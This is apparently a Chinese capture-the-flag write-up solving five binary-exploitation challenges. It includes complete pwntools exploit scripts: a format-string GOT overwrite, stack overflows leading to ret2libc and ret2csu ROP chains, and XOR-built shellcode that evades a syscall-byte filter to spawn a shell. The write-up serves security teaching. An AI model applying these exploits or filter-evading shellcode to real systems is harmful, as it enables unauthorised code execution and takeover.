EZ_fmt
查看 vuln
函数

很经典的格式化字符串,首先确定 offset 为 8

根据程序,我们有三次格式化字符串的机会
- 第一次泄露 libc
- 第二次改
printf
GOT 表地址为system
- 第三次输入为
sh
,构造出printf(buf)=system(sh)
即可
EXP 如下
python
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc = ELF('./libc.so.6')
elf = ELF('./chal')
flag = 0
if flag:
p = remote('ip', port)
else:
p = process("./")
def sa(s, n): return p.sendafter(s, n)
def sla(s, n): return p.sendlineafter(s, n)
def sl(s): return p.sendline(s)
def sd(s): return p.send(s)
def rc(n): return p.recv(n)
def ru(s): return p.recvuntil(s)
def ti(): return p.interactive()
def leak(name, addr): return log.success(name+"--->"+hex(addr))
sla(b': \n', b'%19$p')
ru(b'0x')
libc.address = int(rc(12), 16) - 0x29d90
leak("libc", libc.address)
low = libc.sym['system'] & 0xff
high = (libc.sym['system'] >> 8) & 0xffff
payload = b'%' + str(low).encode() + b'c%12$hhn'
payload += b'%' + str(high - low).encode() + b'c%13$hn'
payload = payload.ljust(0x20, b'a')
payload += p64(elf.got['printf']) + p64(elf.got['printf']+1)
sa(b': \n', payload)
sla(b': \n', b' sh;')
# gdb.attach(p)
p.interactive()
Inverted World
题目分析
checksec 之后发现未开启 pie,开启了 Canary.
C
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[255]; // [rsp+0h] [rbp-110h] BYREF
_BYTE v5[17]; // [rsp+FFh] [rbp-11h] BYREF
*(_QWORD *)&v5[9] = __readfsqword(0x28u);
init(argc, argv, envp);
table();
write(0, "root@AkyOI-VM:~# ", 0x12uLL);
read(0, v5, 0x512uLL); // 这里实际是自定义的 _read 函数,实现和 read 函数相反方向的输入
write(1, buf, 0x100uLL);
puts(byte_402509);
puts("??? What's wrong with the terminal?");
return 0;
}
main
函数的 read
存在栈溢出,但是这个 read
函数是自定义的(源码中命名函数名为 _read
来实现的)。
_read
实现的是和正常 read
相反方向进行输入,我们这里输入的长度 0x512
明显大于 255,可以写到低地址的栈帧的东西,我们劫持位于低地址的 _read
函数的返回地址到 backdoor 中间的部分(因为劫持到开头过不了检测)。
反向输入 sh
即可执行 system("sh")
拿到 shell.
关于 Canary
因为是反向输入的,只要不多写东西就不会修改到 Canary,自然就不用故意绕过 Canary.
EXP
python
from pwn import*
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
p=remote('???.???.???.???', ?????)
payload=b'a'*0x100
p.sendline(payload+p64(0x040137C)[::-1])
p.sendlineafter("root@AkyOI-VM:~#", "hs")
p.sendline("cat flag")
p.interactive()
Bad Asm
程序过滤 syscall
/ sysenter
/ int 0x80
的汇编指令的机器码。
strcpy
限制了 shellcode 的机器码中不能出现 0x00
.
开启的可执行的段具有写的权限,用异或搓出来 syscall 的机器码之后用 mov
写入到 shellcode 后面,中间用 nop
连接一下就行了。
由于程序清空了 rsp
rbp
寄存器,我们需要恢复一下 rsp
的值,任意一个可读写的段即可,否则 push
操作会寄掉。
可以用异或先把 syscall 的机器码插入到当前 shellcode 的后面来执行 read
的 syscall,利用 read
在旧的 shellcode 后面插入 execve("/bin/sh", 0, 0)
的 shellcode,第二次输入的 payload 中 0x42
个 a
的作用是覆盖掉旧的 shellcode,毕竟执行过了也没用了。
恢复 rsp
的作用是为了能够正常执行 push
pop
指令,这里 push
pop
指令位于 shellcraft.sh()
生成的 shellcode 中 。否则其生成的 shellcode 无法正常执行。
python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('???.???.???.???', ?????)
# p=process(ELFpath)
# gdb.attach(p)
shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。
mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器
mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。
xor rdi, rdi
xor rax, rax ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。
pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()
除了异或的方法,我们可以用另一种方法布置 syscall 的机器码。
题目检查 syscall 的时候采用的方法是检测相邻两个字节,所以我们可以将两个字节分别用一个汇编指令写入到内存中,比如用 mov
,这样我们就可以将其机器码 0xf 0x5
拆开,而不是连续的字节,这样也可以通过检查。
python
mov byte ptr [r8 + 0x17], 0xf
mov byte ptr [r8 + 0x18], 0x5
最后保证控制执行流执行到写入的 0f05
那里就行了。
下面的 EXP 中直接异或搓了一个 execve("/bin/sh", 0, 0)
,这样也是可以的。
python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('???.???.???.???', ?????)
# p=process(ELFpath)
# gdb.attach(p)
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi
add sil, 0x40
mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。
mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()
除此之外,由于我们把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp
即可。由于这种方法我们并不依赖 nop
指令进行连接,在送 Payload 的时候可以去掉 ljust
了。
python
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']
ELFpath = './pwn'
p=remote('???.???.???.???', ?????)
# p=process(ELFpath)
# gdb.attach(p)
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号
mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''
p.sendafter("Input your Code :", asm(shellcode))
p.interactive()
在把 /bin/sh\x00
push 到栈上面的时候,我们为了清除最后的 0x00
,采用了异或的方法。除了这种方法外我们可以调整一下这个字符串,比如我们可以改为使用 /bin///sh
,shellcraft.sh()
生成的 shellcode 采用的就是这种方法。
按照这种方法更改的 shellcode,也是可以拿到 shell 的。
python
shellcode='''
; // 目标: 执行 execve("/bin///sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给rsp一个合法值,使程序能正常执行push/pop
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax ; // 将 '/bin///sh' push 到栈上面,最后一个字符 h 是第 6 行 push 的,高位默认填充为 0,此时就不用异或了
mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''
ez_game

明显的栈溢出且没有后门函数
再 checksec 一下,没有开启 pie

直接打 ret2libc(但是得进行栈对齐)
- 先通过 puts 泄露出 puts 地址,通过 puts 地址与 libc 基地址的偏移得到 libc 基地址,并返回
main
函数进行第二次溢出,实现 getshell - 构建
system("/bin/sh")
取 shell
提示
可以用 ret 地址进行栈对齐
EXP:
python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
ifremote = 0
if ifremote == 1:
io = remote('0.0.0.0', 9999)
else:
io = process('./attachment')
elf = ELF('./attachment')
# libc=ELF("./libc-2.31.so")
libc = elf.libc
# gdb.attach(io)
# pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
ret_addr = 0x0000000000400509
payload = b'a'*0x58+p64(0x0000000000400783)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.sendline(payload)
io.recvuntil(b'\x0a')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("puts_addr======================>", hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+0x1b45bd
payload = b'a'*0x58+p64(0x0000000000400783)+p64(bin_sh_addr)+p64(ret_addr)+p64(system_addr)
io.recvuntil(b'Welcome to NewStarCTF!!!!\n')
io.send(payload)
io.interactive()
My_GBC!!!!!
先将程序拖入 IDA 分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
initial(argc, argv, envp);
write(1, "It's an encrypt machine.\nInput something: ", 0x2CuLL);
len = read(0, buf, 0x500uLL);
write(1, "Original: ", 0xBuLL);
write(1, buf, len);
write(1, "\n", 1uLL);
encrypt(buf, (unsigned __int8)key, (unsigned int)len);
write(1, "Encrypted: ", 0xCuLL);
write(1, buf, len);
write(1, "\n", 1uLL);
return 0;
}
发现存在一个简单的栈溢出,并且输入的数据经过了某种加密处理,异或后左移
__int64 __fastcall encrypt(__int64 a1, char a2, int a3)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a3 )
break;
*(_BYTE *)((int)i + a1) ^= a2;
*(_BYTE *)(a1 + (int)i) = __ROL1__(*(_BYTE *)((int)i + a1), 3);
}
return result;
}
运行程序后发现,栈溢出时,rdx
寄存器值为 1,而程序中能利用的函数 read
write
的三参都是长度,这对我们利用十分不利,因此我们选择 ret2csu

这是 csu 的代码片段,第一段代码能将 r12
r13
r14
分别 mov 到 rdi
rsi
rdx
,这样我们便能控制 rdx
,即控制函数的三参,并且后面还有 call [r15+rbx*8]
,能控制程序的走向;第二段代码则是一长串的 pop
,配合上述代码,即可达到 ROP,控制程序流程
需要注意的是,call
后面有 add rbx, 1;
cmp rbp, rbx;
jnz
…,我们需要控制 rbx = 0
rbp = 1
对于加密函数,异或和左移都是可逆运算,我们只需对我们输入的内容先右移后异或 0x5A
即可
python
#!/usr/bin/env python3
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
def uu64(x): return u64(x.ljust(8, b'\x00'))
def s(x): return p.send(x)
def sa(x, y): return p.sendafter(x, y)
def sl(x): return p.sendline(x)
def sla(x, y): return p.sendlineafter(x, y)
def r(x): return p.recv(x)
def ru(x): return p.recvuntil(x)
k = 1
if k:
addr = ''
host = addr.split(':')
p = remote(host[0], host[1])
else:
p = process('./My_GBC!!!!!')
elf = ELF('./My_GBC!!!!!')
libc = ELF('./libc.so.6')
def debug():
gdb.attach(p, 'b *0x401399\nc\n')
def ror(val, n):
return ((val >> n) | (val << (8 - n))) & 0xFF
def decrypt(data: bytes, key: int):
decrypted_data = bytearray()
for byte in data:
byte = ror(byte, 3)
byte ^= key
decrypted_data.append(byte)
return decrypted_data
def csu_1(arg1, arg2, arg3, func=0, rbx=0, rbp=1):
r12 = arg1
r13 = arg2
r14 = arg3
r15 = func
payload = p64(0x4013AA)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
return payload
def csu_2():
payload = p64(0x401390)
return payload
add_rsp_8_ret = 0x401016
ret = 0x40101a
payload = b'a' * 0x18 + csu_1(1, elf.got.read, 0x100, elf.got.write) + csu_2()
payload += csu_1(0, 0x404090, 0x50, elf.got.read) + csu_2()
payload += csu_1(0, 0, 0, 0x404098) + csu_2() + p64(ret)
payload += csu_1(0x4040A0, 0, 0, 0x404090) + csu_2()
# debug()
ru(b'Input something:')
s(decrypt(payload, 90))
libc_base = uu64(ru(b'\x7f')[-6:]) - libc.sym.read
success(f"libc_base --> 0x{libc_base:x}")
payload = p64(libc_base + libc.sym.system + 0x0) + p64(add_rsp_8_ret) + b'/bin/sh\x00'
s(payload)
p.interactive()